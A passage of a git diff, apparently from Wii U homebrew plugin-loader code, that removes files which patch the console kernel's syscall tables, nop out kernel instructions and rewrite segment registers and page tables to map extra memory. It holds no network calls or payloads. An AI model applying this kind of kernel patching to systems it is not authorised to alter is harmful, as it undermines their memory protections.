-    static uint8_t ucSyscallsSetupRequired = 1;
-    if(!ucSyscallsSetupRequired)
-        return;
-
-    ucSyscallsSetupRequired = 0;
-
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x0A * 4)), (uint32_t)KernelWriteWitoutDAT);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x0A * 4)), (uint32_t)KernelWriteWitoutDAT);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x0A * 4)), (uint32_t)KernelWriteWitoutDAT);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x0A * 4)), (uint32_t)KernelWriteWitoutDAT);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x0A * 4)), (uint32_t)KernelWriteWitoutDAT);
-
-    // Override all writes to SR8 with nops.
-    SC0x0A_KernelWriteWitoutDAT(0xFFF1D754,0x60000000);
-    SC0x0A_KernelWriteWitoutDAT(0xFFF1D64C,0x60000000);
-    SC0x0A_KernelWriteWitoutDAT(0xFFE00638,0x60000000);
-
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x36 * 4)), (uint32_t)KernelReadSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x36 * 4)), (uint32_t)KernelReadSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x36 * 4)), (uint32_t)KernelReadSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x36 * 4)), (uint32_t)KernelReadSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x36 * 4)), (uint32_t)KernelReadSRs);
-
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x37 * 4)), (uint32_t)KernelReadPTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x37 * 4)), (uint32_t)KernelReadPTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x37 * 4)), (uint32_t)KernelReadPTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x37 * 4)), (uint32_t)KernelReadPTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x37 * 4)), (uint32_t)KernelReadPTE);
-
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x09 * 4)), (uint32_t)KernelWritePTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x09 * 4)), (uint32_t)KernelWritePTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x09 * 4)), (uint32_t)KernelWritePTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x09 * 4)), (uint32_t)KernelWritePTE);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x09 * 4)), (uint32_t)KernelWritePTE);
-
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x0A * 4)), (uint32_t)KernelWriteSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x0A * 4)), (uint32_t)KernelWriteSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x0A * 4)), (uint32_t)KernelWriteSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x0A * 4)), (uint32_t)KernelWriteSRs);
-    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x0A * 4)), (uint32_t)KernelWriteSRs);
-}
diff --git a/src/mykernel/kernel_utils.h b/src/mykernel/kernel_utils.h
deleted file mode 100644
index 3f42838..0000000
--- a/src/mykernel/kernel_utils.h
+++ /dev/null
@@ -1,14 +0,0 @@
-#ifndef __WUPS_KERNEL_UTILS_H_
-#define __WUPS_KERNEL_UTILS_H_
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-void wups_init_kernel_syscalls();
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // __WUPS_KERNEL_UTILS_H_
diff --git a/src/mykernel/syscalls.h b/src/mykernel/syscalls.h
deleted file mode 100644
index 398685c..0000000
--- a/src/mykernel/syscalls.h
+++ /dev/null
@@ -1,20 +0,0 @@
-#ifndef __WUPS_SYSCALLS_H_
-#define __WUPS_SYSCALLS_H_
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include "kernel_defs.h"
-
-void SC0x0A_KernelWriteSRs(sr_table_t * table);
-void SC0x36_KernelReadSRs(sr_table_t * table);
-void SC0x37_KernelReadPTE(uint32_t* dest, uint32_t size);
-void SC0x09_KernelWritePTE(uint32_t* addr,uint32_t size);
-void KernelTest();
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // __WUPS_SYSCALLS_H_
diff --git a/src/mykernel/syscalls_asm.s b/src/mykernel/syscalls_asm.s
deleted file mode 100644
index 10292e7..0000000
--- a/src/mykernel/syscalls_asm.s
+++ /dev/null
@@ -1,30 +0,0 @@
-.globl SC0x36_KernelReadSRs
-SC0x36_KernelReadSRs:
-    li r0, 0x3600
-    sc
-    blr
-
-     .globl SC0x0A_KernelWriteSRs
-SC0x0A_KernelWriteSRs:
-    li r0, 0x0A00
-    sc
-    blr
-
-     .globl SC0x0A_KernelWriteWitoutDAT
-SC0x0A_KernelWriteWitoutDAT:
-    li r0, 0x0A00
-    sc
-    blr
-
-     .globl SC0x37_KernelReadPTE
-SC0x37_KernelReadPTE:
-    li r0, 0x3700
-    sc
-    blr
-
-     .globl SC0x09_KernelWritePTE
-SC0x09_KernelWritePTE:
-    li r0, 0x0900
-    sc
-    blr
-
diff --git a/src/mymemory/memory_mapping.cpp b/src/mymemory/memory_mapping.cpp
deleted file mode 100644
index 102f055..0000000
--- a/src/mymemory/memory_mapping.cpp
+++ /dev/null
@@ -1,748 +0,0 @@
-#include "memory_mapping.h"
-#include "mykernel/syscalls.h"
-#include "common/retain_vars.h"
-#include <kernel/syscalls.h>
-#include <utils/logger.h>
-#include <utils/utils.h>
-#include <system/CThread.h>
-#include <fs/FSUtils.h>
-#include <vector>
-#include <dynamic_libs/os_functions.h>
-#include <stdio.h>
-#include <string.h>
-
-void runOnAllCores(CThread::Callback callback, void *callbackArg, int32_t iAttr = 0, int32_t iPriority = 16, int32_t iStackSize = 0x8000) {
-    int32_t aff[] = {CThread::eAttributeAffCore2,CThread::eAttributeAffCore1,CThread::eAttributeAffCore0};
-
-    for(uint32_t i = 0; i <(sizeof(aff)/sizeof(aff[0])); i++) {
-        CThread * thread = CThread::create(callback, callbackArg, iAttr | aff[i],iPriority,iStackSize);
-        thread->resumeThread();
-        delete thread;
-    }
-}
-
-void writeSegmentRegister(CThread *thread, void *arg) {
-    sr_table_t * table = (sr_table_t *) arg;
-    uint16_t core = OSGetThreadAffinity(OSGetCurrentThread());
-    DEBUG_FUNCTION_LINE("Writing segment register to core %d\n",core);
-
-    DCFlushRange(table,sizeof(sr_table_t));
-    SC0x0A_KernelWriteSRs(table);
-}
-
-void readAndPrintSegmentRegister(CThread *thread, void *arg) {
-    uint16_t core = OSGetThreadAffinity(OSGetCurrentThread());
-    DEBUG_FUNCTION_LINE("Reading segment register and page table from core %d\n",core);
-    sr_table_t srTable;
-    memset(&srTable,0,sizeof(srTable));
-
-    SC0x36_KernelReadSRs(&srTable);
-    DCFlushRange(&srTable,sizeof(srTable));
-
-    for(int32_t i = 0; i < 16; i++) {
-        DEBUG_FUNCTION_LINE("[%d] SR[%d]=%08X\n",core,i,srTable.value[i]);
-    }
-
-    uint32_t pageTable[0x8000];
-
-    memset(pageTable,0,sizeof(pageTable));
-    DEBUG_FUNCTION_LINE("Reading pageTable now.\n");
-    SC0x37_KernelReadPTE(pageTable,sizeof(pageTable));
-    DCFlushRange(pageTable,sizeof(pageTable));
-
-    DEBUG_FUNCTION_LINE("Reading pageTable done\n");
-
-    MemoryMapping::printPageTableTranslation(srTable,pageTable);
-
-    DEBUG_FUNCTION_LINE("-----------------------------\n");
-}
-
-bool MemoryMapping::isMemoryMapped() {
-    sr_table_t srTable;
-    memset(&srTable,0,sizeof(srTable));
-
-    SC0x36_KernelReadSRs(&srTable);
-    if((srTable.value[MEMORY_START_BASE >> 28] & 0x00FFFFFF) == SEGMENT_UNIQUE_ID) {
-        return true;
-    }
-    return false;
-}
-
-uint32_t MemoryMapping::getHeapAddress() {
-    return MEMORY_START_PLUGIN_HEAP;
-}
-
-uint32_t MemoryMapping::getHeapSize() {
-    return getAreaSizeFromPageTable(MEMORY_START_PLUGIN_HEAP,MEMORY_START_PLUGIN_HEAP_END - MEMORY_START_PLUGIN_HEAP);
-}
-
-uint32_t MemoryMapping::getVideoMemoryAddress() {
-    return MEMORY_START_VIDEO_SPACE;
-}
-
-uint32_t MemoryMapping::getVideoMemorySize() {
-    return getAreaSizeFromPageTable(MEMORY_START_VIDEO_SPACE,MEMORY_START_VIDEO_SPACE_END - MEMORY_START_VIDEO_SPACE);
-}
-
-void MemoryMapping::searchEmptyMemoryRegions() {
-    DEBUG_FUNCTION_LINE("Searching for empty memory.\n");
-
-    for(int32_t i = 0;; i++) {
-        if(mem_mapping[i].physical_addresses == NULL) {
-            break;
-        }
-        uint32_t ea_start_address = mem_mapping[i].effective_start_address;
-
-        const memory_values_t * mem_vals = mem_mapping[i].physical_addresses;
-
-        uint32_t ea_size = 0;
-        for(uint32_t j = 0;; j++) {
-            uint32_t pa_start_address    = mem_vals[j].start_address;
-            uint32_t pa_end_address      = mem_vals[j].end_address;
-            if(pa_end_address == 0 && pa_start_address == 0) {
-                break;
-            }
-            ea_size             += pa_end_address - pa_start_address;
-        }
-
-        uint32_t* flush_start = (uint32_t*)ea_start_address;
-        uint32_t flush_size = ea_size;
-
-        DEBUG_FUNCTION_LINE("Flushing %08X (%d kB) at %08X.\n",flush_size,flush_size/1024, flush_start);
-        DCFlushRange(flush_start,flush_size);
-
-        DEBUG_FUNCTION_LINE("Searching in memory region %d. 0x%08X - 0x%08X. Size 0x%08X (%d KBytes).\n",i+1,ea_start_address,ea_start_address+ea_size,ea_size,ea_size/1024);
-        bool success = true;
-        uint32_t * memory_ptr = (uint32_t*) ea_start_address;
-        bool inFailRange = false;
-        uint32_t startFailing = 0;
-        uint32_t startGood = ea_start_address;
-        for(uint32_t j=0; j < ea_size/4; j++) {
-            if(memory_ptr[j] != 0) {
-                success = false;
-                if(!success && !inFailRange) {
-                    if((((uint32_t)&memory_ptr[j])-(uint32_t)startGood)/1024 > 512) {
-                        uint32_t start_addr = startGood & 0xFFFE0000;
-                        if(start_addr != startGood) {
-                            start_addr += 0x20000;
-                        }
-                        uint32_t end_addr = ((uint32_t)&memory_ptr[j]) - MEMORY_START_BASE;
-                        end_addr = (end_addr & 0xFFFE0000);
-                        DEBUG_FUNCTION_LINE("+ Free between 0x%08X and 0x%08X size: %u kB\n",start_addr - MEMORY_START_BASE,end_addr,(((uint32_t)end_addr)-((uint32_t)startGood - MEMORY_START_BASE))/1024);
-                    }
-                    startFailing = (uint32_t)&memory_ptr[j];
-                    inFailRange = true;
-                    startGood = 0;
-                    j = ((j & 0xFFFF8000) + 0x00008000)-1;
-                }
-                //break;
-            } else {
-                if(inFailRange) {
-                    //DEBUG_FUNCTION_LINE("- Error between 0x%08X and 0x%08X size: %u kB\n",startFailing,&memory_ptr[j],(((uint32_t)&memory_ptr[j])-(uint32_t)startFailing)/1024);
-                    startFailing = 0;
-                    startGood = (uint32_t) &memory_ptr[j];
-                    inFailRange = false;
-                }
-            }
-        }
-        if(startGood != 0 && (startGood != ea_start_address + ea_size)) {
-            DEBUG_FUNCTION_LINE("+ Good  between 0x%08X and 0x%08X size: %u kB\n",startGood - MEMORY_START_BASE,((uint32_t)(ea_start_address + ea_size) - (uint32_t)MEMORY_START_BASE),((uint32_t)(ea_start_address + ea_size) - (uint32_t)startGood)/1024);
-        } else if(inFailRange) {
-            DEBUG_FUNCTION_LINE("- Used between 0x%08X and 0x%08X size: %u kB\n",startFailing,ea_start_address + ea_size,((uint32_t)(ea_start_address + ea_size) - (uint32_t)startFailing)/1024);
-        }
-        if(success) {
-            DEBUG_FUNCTION_LINE("Test %d was successful!\n",i+1);
-        }
-
-    }
-    DEBUG_FUNCTION_LINE("All tests done.\n");
-}
-
-void MemoryMapping::writeTestValuesToMemory() {
-    //don't smash the stack.
-    uint32_t chunk_size = 0x1000;
-    uint32_t testBuffer[chunk_size];
-
-    for(int32_t i = 0;; i++) {
-        if(mem_mapping[i].physical_addresses == NULL) {
-            break;
-        }
-        uint32_t cur_ea_start_address = mem_mapping[i].effective_start_address;
-
-        DEBUG_FUNCTION_LINE("Preparing memory test for region %d. Region start at effective address %08X.\n",i+1,cur_ea_start_address);
-
-        const memory_values_t * mem_vals = mem_mapping[i].physical_addresses;
-        uint32_t counter = 0;
-        for(uint32_t j = 0;; j++) {
-            uint32_t pa_start_address    = mem_vals[j].start_address;
-            uint32_t pa_end_address      = mem_vals[j].end_address;
-            if(pa_end_address == 0 && pa_start_address == 0) {
-                break;
-            }
-            uint32_t pa_size             = pa_end_address - pa_start_address;
-            DEBUG_FUNCTION_LINE("Writing region %d of mapping %d. From %08X to %08X Size: %d KBytes...\n",j+1,i+1,pa_start_address,pa_end_address,pa_size/1024);
-            for(uint32_t k=0; k<=pa_size/4; k++) {
-                if(k > 0 && (k % chunk_size) == 0) {
-                    DCFlushRange(&testBuffer,sizeof(testBuffer));
-                    DCInvalidateRange(&testBuffer,sizeof(testBuffer));
-                    uint32_t destination = pa_start_address + ((k*4) - sizeof(testBuffer));
-                    SC0x25_KernelCopyData(destination,(uint32_t)OSEffectiveToPhysical(testBuffer),sizeof(testBuffer));
-                    //DEBUG_FUNCTION_LINE("Copy testBuffer into %08X\n",destination);
-                }
-                if(k != pa_size/4) {
-                    testBuffer[k % chunk_size] = counter++;
-                }
-                //DEBUG_FUNCTION_LINE("testBuffer[%d] = %d\n",i % chunk_size,i);
-            }
-            uint32_t* flush_start = (uint32_t*)cur_ea_start_address;
-            uint32_t flush_size = pa_size;
-
-            cur_ea_start_address += pa_size;
-
-            DEBUG_FUNCTION_LINE("Flushing %08X (%d kB) at %08X to map memory.\n",flush_size,flush_size/1024, flush_start);
-            DCFlushRange(flush_start,flush_size);
-        }
-
-        DEBUG_FUNCTION_LINE("Done writing region %d\n",i+1);
-    }
-}
-
-void MemoryMapping::readTestValuesFromMemory() {
-    DEBUG_FUNCTION_LINE("Testing reading the written values.\n");
-
-    for(int32_t i = 0;; i++) {
-        if(mem_mapping[i].physical_addresses == NULL) {
-            break;
-        }
-        uint32_t ea_start_address = mem_mapping[i].effective_start_address;
-
-        const memory_values_t * mem_vals = mem_mapping[i].physical_addresses;
-        //uint32_t counter = 0;
-        uint32_t ea_size = 0;
-        for(uint32_t j = 0;; j++) {
-            uint32_t pa_start_address    = mem_vals[j].start_address;
-            uint32_t pa_end_address      = mem_vals[j].end_address;
-            if(pa_end_address == 0 && pa_start_address == 0) {
-                break;
-            }
-            ea_size             += pa_end_address - pa_start_address;
-        }
-
-        uint32_t* flush_start = (uint32_t*)ea_start_address;
-        uint32_t flush_size = ea_size;
-
-        DEBUG_FUNCTION_LINE("Flushing %08X (%d kB) at %08X to map memory.\n",flush_size,flush_size/1024, flush_start);
-        DCFlushRange(flush_start,flush_size);
-
-        DEBUG_FUNCTION_LINE("Testing memory region %d. 0x%08X - 0x%08X. Size 0x%08X (%d KBytes).\n",i+1,ea_start_address,ea_start_address+ea_size,ea_size,ea_size/1024);
-        bool success = true;
-        uint32_t * memory_ptr = (uint32_t*) ea_start_address;
-        bool inFailRange = false;
-        uint32_t startFailing = 0;
-        uint32_t startGood = ea_start_address;
-        for(uint32_t j=0; j < ea_size/4; j++) {
-            if(memory_ptr[j] != j) {
-                success = false;
-                if(!success && !inFailRange) {
-                    DEBUG_FUNCTION_LINE("+ Good  between 0x%08X and 0x%08X size: %u kB\n",startGood,&memory_ptr[j],(((uint32_t)&memory_ptr[j])-(uint32_t)startGood)/1024);
-                    startFailing = (uint32_t)&memory_ptr[j];
-                    inFailRange = true;
-                    startGood = 0;
-                    j = ((j & 0xFFFF8000) + 0x00008000)-1;
-                }
-                //break;
-            } else {
-                if(inFailRange) {
-                    DEBUG_FUNCTION_LINE("- Error between 0x%08X and 0x%08X size: %u kB\n",startFailing,&memory_ptr[j],(((uint32_t)&memory_ptr[j])-(uint32_t)startFailing)/1024);
-                    startFailing = 0;
-                    startGood = (uint32_t) &memory_ptr[j];
-                    inFailRange = false;
-                }
-            }
-        }
-        if(startGood != 0 && (startGood != ea_start_address + ea_size)) {
-            DEBUG_FUNCTION_LINE("+ Good  between 0x%08X and 0x%08X size: %u kB\n",startGood,ea_start_address + ea_size,((uint32_t)(ea_start_address + ea_size) - (uint32_t)startGood)/1024);
-        } else if(inFailRange) {
-            DEBUG_FUNCTION_LINE("- Error between 0x%08X and 0x%08X size: %u kB\n",startFailing,ea_start_address + ea_size,((uint32_t)(ea_start_address + ea_size) - (uint32_t)startFailing)/1024);
-        }
-        if(success) {
-            DEBUG_FUNCTION_LINE("Test %d was successful!\n",i+1);
-        }
-
-    }
-    DEBUG_FUNCTION_LINE("All tests done.\n");
-}
-
-void MemoryMapping::memoryMappingForRegions(const memory_mapping_t * memory_mapping, sr_table_t SRTable, uint32_t * translation_table) {
-    for(int32_t i = 0; /* waiting for a break */; i++) {
-        DEBUG_FUNCTION_LINE("In loop %d\n",i);
-        if(memory_mapping[i].physical_addresses == NULL) {
-            DEBUG_FUNCTION_LINE("break %d\n",i);
-            break;
-        }
-        uint32_t cur_ea_start_address = memory_mapping[i].effective_start_address;
-
-        DEBUG_FUNCTION_LINE("Mapping area %d. effective address %08X...\n",i+1,cur_ea_start_address);
-        const memory_values_t * mem_vals = memory_mapping[i].physical_addresses;
-
-        for(uint32_t j = 0;; j++) {
-            DEBUG_FUNCTION_LINE("In inner loop %d\n",j);
-            uint32_t pa_start_address    = mem_vals[j].start_address;
-            uint32_t pa_end_address      = mem_vals[j].end_address;
-            if(pa_end_address == 0 && pa_start_address == 0) {
-                DEBUG_FUNCTION_LINE("inner break %d\n",j);
-                // Break if entry was empty.
-                break;
-            }
-            uint32_t pa_size             = pa_end_address - pa_start_address;
-            DEBUG_FUNCTION_LINE("Adding page table entry %d for mapping area %d. %08X-%08X => %08X-%08X...\n",j+1,i+1,cur_ea_start_address,memory_mapping[i].effective_start_address+pa_size,pa_start_address,pa_end_address);
-            if(!mapMemory(pa_start_address,pa_end_address,cur_ea_start_address,SRTable,translation_table)) {
-                log_print("error =(\n");
-                DEBUG_FUNCTION_LINE("Failed to map memory.\n");
-                //OSFatal("Failed to map memory.");
-                return;
-                break;
-            }
-            cur_ea_start_address += pa_size;
-            log_print("done\n");
-        }
-    }
-}
-
-void MemoryMapping::setupMemoryMapping() {
-    //runOnAllCores(readAndPrintSegmentRegister,NULL,0,16,0x20000);
-
-    sr_table_t srTableCpy;
-    uint32_t pageTableCpy[0x8000];
-
-    SC0x36_KernelReadSRs(&srTableCpy);
-    SC0x37_KernelReadPTE(pageTableCpy,sizeof(pageTableCpy));
-
-    DCFlushRange(&srTableCpy,sizeof(srTableCpy));
-    DCFlushRange(pageTableCpy,sizeof(pageTableCpy));
-
-    for(int32_t i = 0; i < 16; i++) {
-        DEBUG_FUNCTION_LINE("SR[%d]=%08X\n",i,srTableCpy.value[i]);
-    }
-
-    printPageTableTranslation(srTableCpy,pageTableCpy);
-
-    // According to
-    // http://wiiubrew.org/wiki/Cafe_OS#Virtual_Memory_Map 0x80000000
-    // is currently unmapped.
-    // This is nice because it leads to SR[8] which also seems to be unused (was set to 0x30FFFFFF)
-    // The content of the segment was chosen randomly.
-    uint32_t segment_index = MEMORY_START_BASE >> 28;
-    uint32_t segment_content = 0x00000000 | SEGMENT_UNIQUE_ID;
-
-    DEBUG_FUNCTION_LINE("Setting SR[%d] to %08X\n",segment_index,segment_content);
-    srTableCpy.value[segment_index] = segment_content;
-    DCFlushRange(&srTableCpy,sizeof(srTableCpy));
-
-    DEBUG_FUNCTION_LINE("Writing segment registers...\n",segment_index,segment_content);
-    // Writing the segment registers to ALL cores.
-    runOnAllCores(writeSegmentRegister,&srTableCpy);
-
-    memoryMappingForRegions(mem_mapping,srTableCpy,pageTableCpy);
-
-    //printPageTableTranslation(srTableCpy,pageTableCpy);
-
-    DEBUG_FUNCTION_LINE("Writing PageTable... ");
-    DCFlushRange(pageTableCpy,sizeof(pageTableCpy));
-    SC0x09_KernelWritePTE(pageTableCpy,sizeof(pageTableCpy));
-    DCFlushRange(pageTableCpy,sizeof(pageTableCpy));
-    log_print("done\n");
-
-    //printPageTableTranslation(srTableCpy,pageTableCpy);
-
-    runOnAllCores(readAndPrintSegmentRegister,NULL,0,16,0x80000);
-
-    //searchEmptyMemoryRegions();
-
-    //writeTestValuesToMemory();
-    //readTestValuesFromMemory();
-}
-
-
-uint32_t MemoryMapping::getAreaSizeFromPageTable(uint32_t start, uint32_t maxSize) {
-    sr_table_t srTable;
-    uint32_t pageTable[0x8000];
-
-    SC0x36_KernelReadSRs(&srTable);
-    SC0x37_KernelReadPTE(pageTable,sizeof(pageTable));
-
-    uint32_t sr_start = start >> 28;
-    uint32_t sr_end = (start + maxSize) >> 28;
-
-    if(sr_end < sr_start) {
-        return 0;
-    }
-
-    uint32_t cur_address = start;
-    uint32_t end_address = start + maxSize;
-
-    uint32_t memSize = 0;
-
-    for(uint32_t segment = sr_start; segment <= sr_end ; segment++) {
-        uint32_t sr = srTable.value[segment];
-        if(sr >> 31) {
-            DEBUG_FUNCTION_LINE("Direct access not supported\n");
-        } else {
-            uint32_t vsid = sr & 0xFFFFFF;
-
-            uint32_t pageSize = 1 << PAGE_INDEX_SHIFT;
-            uint32_t cur_end_addr = 0;
-            if(segment == sr_end) {
-                cur_end_addr = end_address;
-            } else {
-                cur_end_addr = (segment + 1) * 0x10000000;
-            }
-            if(segment != sr_start) {
-                cur_address = (segment) * 0x10000000;
-            }
-            bool success = true;
-            for(uint32_t addr = cur_address; addr < cur_end_addr; addr += pageSize) {
-                uint32_t PTEH = 0;
-                uint32_t PTEL = 0;
-                if(getPageEntryForAddress(srTable.sdr1, addr, vsid, pageTable, &PTEH, &PTEL, false)) {
-                    memSize += pageSize;
-                } else {
-                    success = false;
-                    break;
-                }
-            }
-            if(!success) {
-                break;
-            }
-        }
-    }
-    return memSize;
-}
-
-bool MemoryMapping::getPageEntryForAddress(uint32_t SDR1,uint32_t addr, uint32_t vsid, uint32_t * translation_table,uint32_t* oPTEH, uint32_t* oPTEL, bool checkSecondHash) {
-    uint32_t pageMask = SDR1 & 0x1FF;
-    uint32_t pageIndex = (addr >> PAGE_INDEX_SHIFT) & PAGE_INDEX_MASK;
-    uint32_t primaryHash = (vsid & 0x7FFFF) ^ pageIndex;
-
-    if(getPageEntryForAddressEx(SDR1, addr, vsid,  primaryHash, translation_table, oPTEH, oPTEL, 0)) {
-        return true;
-    }
-
-    if(checkSecondHash) {
-        if(getPageEntryForAddressEx(pageMask, addr, vsid, ~primaryHash, translation_table, oPTEH, oPTEL, 1)) {
-            return true;
-        }
-    }
-
-    return false;
-}
-
-bool MemoryMapping::getPageEntryForAddressEx(uint32_t pageMask, uint32_t addr, uint32_t vsid, uint32_t primaryHash, uint32_t * translation_table,uint32_t* oPTEH, uint32_t* oPTEL,uint32_t H) {
-    uint32_t maskedHash = primaryHash & ((pageMask << 10) | 0x3FF);
-    uint32_t api = (addr >> 22) & 0x3F;
-
-    uint32_t pteAddrOffset = (maskedHash << 6);
-
-    for (int32_t j = 0; j < 8; j++, pteAddrOffset += 8) {
-        uint32_t PTEH = 0;
-        uint32_t PTEL = 0;
-
-        uint32_t pteh_index = pteAddrOffset / 4;
-        uint32_t ptel_index = pteh_index + 1;
-
-        PTEH = translation_table[pteh_index];
-        PTEL = translation_table[ptel_index];
-
-        //Check validity
-        if (!(PTEH >> 31)) {
-            //printf("PTE is not valid \n");
-            continue;
-        }
-        //DEBUG_FUNCTION_LINE("in\n");
-        // the H bit indicated if the PTE was found using the second hash.
-        if (((PTEH >> 6) & 1) != H) {
-            //DEBUG_FUNCTION_LINE("Secondary hash is used\n",((PTEH >> 6) & 1));
-            continue;
-        }
-
-        // Check if the VSID matches, otherwise this is a PTE for another SR
-        // This is the place where collision could happen.
-        // Hopefully no collision happen and only the PTEs of the SR will match.
-        if (((PTEH >> 7) & 0xFFFFFF) != vsid) {
-            //DEBUG_FUNCTION_LINE("VSID mismatch\n");
-            continue;
-        }
-
-        // Check the API (Abbreviated Page Index)
-        if ((PTEH & 0x3F) != api) {
-            //DEBUG_FUNCTION_LINE("API mismatch\n");
-            continue;
-        }
-        *oPTEH = PTEH;
-        *oPTEL = PTEL;
-
-        return true;
-    }
-    return false;
-}
-
-void MemoryMapping::printPageTableTranslation(sr_table_t srTable, uint32_t * translation_table) {
-    uint32_t SDR1 = srTable.sdr1;
-
-    pageInformation current;
-    memset(&current,0,sizeof(current));
-
-    std::vector<pageInformation> pageInfos;
-
-    for(uint32_t segment = 0; segment < 16 ; segment++) {
-        uint32_t sr = srTable.value[segment];
-        if(sr >> 31) {
-            DEBUG_FUNCTION_LINE("Direct access not supported\n");
-        } else {
-            uint32_t ks = (sr >> 30) & 1;
-            uint32_t kp = (sr >> 29) & 1;
-            uint32_t nx = (sr >> 28) & 1;
-            uint32_t vsid = sr & 0xFFFFFF;
-
-            DEBUG_FUNCTION_LINE("ks   %08X kp   %08X nx   %08X vsid %08X\n",ks,kp,nx,vsid);
-            uint32_t pageSize = 1 << PAGE_INDEX_SHIFT;
-            for(uint32_t addr = segment * 0x10000000; addr < (segment + 1) * 0x10000000; addr += pageSize) {
-                uint32_t PTEH = 0;
-                uint32_t PTEL = 0;
-                if(getPageEntryForAddress(SDR1, addr, vsid, translation_table, &PTEH, &PTEL, false)) {
-                    uint32_t pp = PTEL & 3;
-                    uint32_t phys = PTEL & 0xFFFFF000;
-
-                    //DEBUG_FUNCTION_LINE("current.phys == phys - current.size ( %08X %08X)\n",current.phys, phys - current.size);
-
-                    if( current.ks == ks &&
-                            current.kp == kp &&
-                            current.nx == nx &&
-                            current.pp == pp &&
-                            current.phys == phys - current.size
-                      ) {
-                        current.size += pageSize;
-                        //DEBUG_FUNCTION_LINE("New size of %08X is %08X\n",current.addr,current.size);
-                    } else {
-                        if(current.addr != 0 && current.size != 0) {
-                            /*DEBUG_FUNCTION_LINE("Saving old block from %08X\n",current.addr);
-                            DEBUG_FUNCTION_LINE("ks %08X new %08X\n",current.ks,ks);
-                            DEBUG_FUNCTION_LINE("kp %08X new %08X\n",current.kp,kp);
-                            DEBUG_FUNCTION_LINE("nx %08X new %08X\n",current.nx,nx);
-                            DEBUG_FUNCTION_LINE("pp %08X new %08X\n",current.pp,pp);*/
-                            pageInfos.push_back(current);
-                            memset(&current,0,sizeof(current));
-                        }
-                        //DEBUG_FUNCTION_LINE("Found new block at %08X\n",addr);
-                        current.addr = addr;
-                        current.size = pageSize;
-                        current.kp = kp;
-                        current.ks = ks;
-                        current.nx = nx;
-                        current.pp = pp;
-                        current.phys = phys;
-                    }
-                } else {
-                    if(current.addr != 0 && current.size != 0) {
-                        pageInfos.push_back(current);
-                        memset(&current,0,sizeof(current));
-                    }
-                }
-            }
-        }
-    }
-
-    const char *access1[] = {"read/write", "read/write", "read/write", "read only"};
-    const char *access2[] = {"no access", "read only", "read/write", "read only"};
-
-    for(std::vector<pageInformation>::iterator it = pageInfos.begin(); it != pageInfos.end(); ++it) {
-        pageInformation cur = *it;
-        DEBUG_FUNCTION_LINE("%08X %08X -> %08X %08X. user access %s. supervisor access %s. %s\n",cur.addr,cur.addr+cur.size,cur.phys,cur.phys+cur.size,cur.kp ? access2[cur.pp] : access1[cur.pp],
-                            cur.ks ? access2[cur.pp] : access1[cur.pp],cur.nx? "not executable" : "executable");
-    }
-}
-
-
-bool MemoryMapping::mapMemory(uint32_t pa_start_address,uint32_t pa_end_address,uint32_t ea_start_address, sr_table_t SRTable, uint32_t * translation_table) {
-    // Based on code from dimok. Thanks!
-
-    //uint32_t byteOffsetMask = (1 << PAGE_INDEX_SHIFT) - 1;
-    //uint32_t apiShift = 22 - PAGE_INDEX_SHIFT;
-
-    // Information on page 5.
-    // https://www.nxp.com/docs/en/application-note/AN2794.pdf
-    uint32_t HTABORG = SRTable.sdr1 >> 16;
-    uint32_t HTABMASK = SRTable.sdr1 & 0x1FF;
-
-    // Iterate to all possible pages. Each page is 1<<(PAGE_INDEX_SHIFT) big.
-
-    uint32_t pageSize = 1<<(PAGE_INDEX_SHIFT);
-    for(uint32_t i = 0; i < pa_end_address - pa_start_address; i += pageSize) {
-        // Calculate the current effective address.
-        uint32_t ea_addr = ea_start_address + i;
-        // Calculate the segement.
-        uint32_t segment = SRTable.value[ea_addr >> 28];
-
-        // Unique ID from the segment which is the input for the hash function.
-        // Change it to prevent collisions.
-        uint32_t VSID = segment & 0x00FFFFFF;
-        uint32_t V = 1;
-
-        //Indicated if second hash is used.
-        uint32_t H = 0;
-
-        // Abbreviated Page Index
-
-        // Real page number
-        uint32_t RPN = (pa_start_address + i) >> 12;
-        uint32_t RC = 3;
-        uint32_t WIMG = 0x02;
-        uint32_t PP = 0x02;
-
-        uint32_t page_index = (ea_addr >> PAGE_INDEX_SHIFT) & PAGE_INDEX_MASK;
-        uint32_t API = (ea_addr >> 22) & 0x3F;
-
-        uint32_t PTEH = (V << 31) | (VSID << 7) | (H << 6) | API;
-        uint32_t PTEL = (RPN << 12) | (RC << 7) | (WIMG << 3) | PP;
-
